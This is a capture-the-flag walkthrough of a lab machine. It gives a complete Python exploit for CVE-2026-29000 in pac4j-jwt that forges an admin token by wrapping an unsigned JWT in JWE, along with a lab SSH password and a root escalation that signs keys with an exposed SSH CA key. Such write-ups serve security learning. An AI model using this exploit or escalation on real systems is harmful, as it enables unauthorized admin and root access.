1. Overview
This challenge involved exploiting a vulnerability in the authentication system of a web application in order to gain administrative access. After bypassing the login system, sensitive credentials were discovered within the application dashboard which allowed SSH access to the machine. From there, privilege escalation was achieved by abusing an exposed SSH certificate authority key to generate a signed key for the root user.
2. Enum
My first step was to run a standard service and version scan using Nmap to see what services were exposed.
└─$ nmap -sCV 10.129.244.220 --min-rate 5000
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-14 19:00 -0400
Nmap scan report for 10.129.244.220
Host is up (0.086s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open http-proxy Jetty
|_http-server-header: Jetty
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Principal Internal Platform - Login
|_Requested resource was /login
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Sat, 14 Mar 2026 23:00:44 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
...[SNIP]...
The scan found two open ports:
- 22 running SSH
- 8080 running a web server powered by Jetty
The http responses also included the header:
X-Powered-By: pac4j-jwt/6.0.3
This indicated the server was using the pac4j-jwt library.
2.1 Web Enum
Since there was a web service, my next step was to inspect the website itself. To learn more about the client-side Javascript, I looked at the main app.js code used by the site:
└─$ curl -s http://10.129.4.116:8080/static/js/app.js
/**
* Principal Internal Platform - Client Application
* Version: 1.2.0
*
* Authentication flow:
* 1. User submits credentials to /api/auth/login
* 2. Server returns encrypted JWT (JWE) token
* 3. Token is stored and sent as Bearer token for subsequent requests
*
* Token handling:
* - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM
* - Public key available at /api/auth/jwks for token verification
* - Inner JWT is signed with RS256
*
* JWT claims schema:
* sub - username
* role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
* iss - "principal-platform"
* iat - issued at (epoch)
* exp - expiration (epoch)
*/
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';
...[SNIP]...
From this information it became clear that authentication relied on JWT tokens wrapped inside JWE encryption. The server’s public key could also be retrieved from the following endpoint:
/api/auth/jwks
Curling that endpoint returned the RSA key used by the application.
└─$ curl http://10.129.4.116:8080/api/auth/jwks | jq .
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "enc-key-1",
"n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
}
]
}
3. Foothold
After identifying the technology stack, I searched for known vulnerabilities affecting the version of pac4j-jwt used by the application. This led to CVE-2026-29000, which allows an attacker to forge authentication tokens.
Using this vulnerability, it is possible to:
- Retrieve the server’s public key from the JWKS endpoint
- Create a custom JWT with administrator privileges
- Encrypt the token as a JWE using the public key
- Use the forged token to authenticate as an admin user
To automate this process, I wrote the following Python script.
#!/usr/bin/env python3
import json
import time
import base64
import requests
from jwcrypto import jwk, jwe
import sys
TARGET = sys.argv[1]
print("[*] Fetching JWKS...")
resp = requests.get(f"{TARGET}/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data['keys'][0]
pub_key = jwk.JWK(**key_data)
print(f"[+] Got RSA public key (kid: {key_data['kid']})")
def b64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode())
payload = b64url_encode(json.dumps({
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": now,
"exp": now + 3600
}).encode())
plain_jwt = f"{header}.{payload}."
print(f"[*] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN")
jwe_token = jwe.JWE(
plain_jwt.encode(),
recipient=pub_key,
protected=json.dumps({
"alg": "RSA-OAEP-256",
"enc": "A128GCM",
"kid": key_data['kid'],
"cty": "JWT"
})
)
forged_token = jwe_token.serialize(compact=True)
print(f"[+] Forged JWE token created")
headers = {"Authorization": f"Bearer {forged_token}"}
print("\n[*] Accessing /api/dashboard...")
resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
print(f"[+] Status: {resp.status_code}")
data = resp.json()
print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")
print(f"[+] Token: {forged_token}")
Running the script generated a valid authentication token with admin privileges.
└─$ python3 jwt.py http://10.129.4.116:8080
Token: eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImtpZCI6ICJlbmMta2V5LTEiLCAiY3R5IjogIkpXVCJ9.SFxhAqrS8Tc5BcjuzHff_bORTozFOIxP5Uewg5_po5iltes_1JY9-7s914JrKXzCnCedbXWprbIiVLG8oxlIccdDh3A6D0xUdtPkD4im9K7JZhIcPukR-qtsFFMdESxWJkfpltf8GKkHI4k1DglNtTLFXs3QbxipNSrmsQTguK0xADPi3ugmD_o0UJdumW_FjPsnHJancL0bDX18NZLNkD6cevllO_GycCHXwoaggRmb63F4ZLm5SW8AzW-kZEbDvnN0ITK4C-HImaiAW1IuHG4KULJOz21DkzPpv1Ra9o3eNVHpi8eBUWgVBBnGdaHf0paycaOU6IDWg65Jvbuw4g.E-N4eNemkf7tsv13.jEykHeaLrHxz7hpp21bWQxtGW0ZcgPu40XlN0B8XHy06CxZMG6YFP1AHDeruTP9DPIQVIXAJ3WFwEOmekKHu9F0zB6UBbgRUeuW7GinyZwfarbNHTzNQWrEh3mablLCnU456BanRdpcXjFLfVlLv6RruWR-Ita_5aigOqJBhOBR-ujmPbi1Ka8LR-cNcIW_ivCjn6wVBPfV2UaO0ZBzuL9DP.0m49W7Bv7nBK5TocCG64OA
To use the token in the web interface, it needed to be placed into the browser’s session storage under the key: auth_token.
After setting the value manually in the browser, the login page was bypassed and the administrative dashboard became accessible. While exploring the dashboard, I discovered a plaintext encryption key stored in the settings panel:
D3pl0y_$$H_Now42!
The users tab also listed an account named:
svc-deploy
Since service accounts often share related credentials, I tried to use this key as the password for the svc-deploy user over SSH and the login succeeded.
4. Root
After gaining access as svc-deploy, I started checking common privilege escalation paths. Running sudo -l showed that the user did not have any sudo permissions, so I moved on to looking through the filesystem for interesting files.
One common location for application files is /opt, so I checked there first.
svc-deploy@principal:~$ ls /opt/principal/
app deploy ssh
The ssh folder was interesting, so I looked into it:
svc-deploy@principal:~$ ls /opt/principal/ssh/
README.txt ca ca.pub
The presence of a CA key suggested that the system was using SSH certificate authentication. If the private CA key could be used to sign a key for the root user, it might be possible to authenticate as root.
First, I generated a new SSH key pair.
svc-deploy@principal:~$ ssh-keygen -t ed25519 -f /tmp/id_rsa
Next, I used the CA key to sign the public key and assign it to the root user.
svc-deploy@principal:~$ ssh-keygen -s /opt/principal/ssh/ca -I HeHe -n root -V +1h /tmp/id_rsa.pub
Signed user key /tmp/id_rsa-cert.pub: id "HeHe" serial 0 for root valid from 2026-03-15T01:11:00 to 2026-03-15T02:12:31
With the signed key created, I tried to connect to the local SSH server as root and it worked.
svc-deploy@principal:~$ ssh -i /tmp/id_rsa root@127.0.0.1
...[SNIP]...
root@principal:~#
5. Conclusion
Initial access was achieved by abusing a vulnerability in the pac4j-jwt authentication implementation to create a forged admin token. This allowed direct access to the application’s admin dashboard.
Sensitive information exposed in the dashboard included a plaintext key that matched the svc-deploy service account, which provided SSH access to the system. Once on the host, application files revealed an SSH certificate authority key. Signing a newly generated key for the root account allowed authentication as root and resulted in full system access.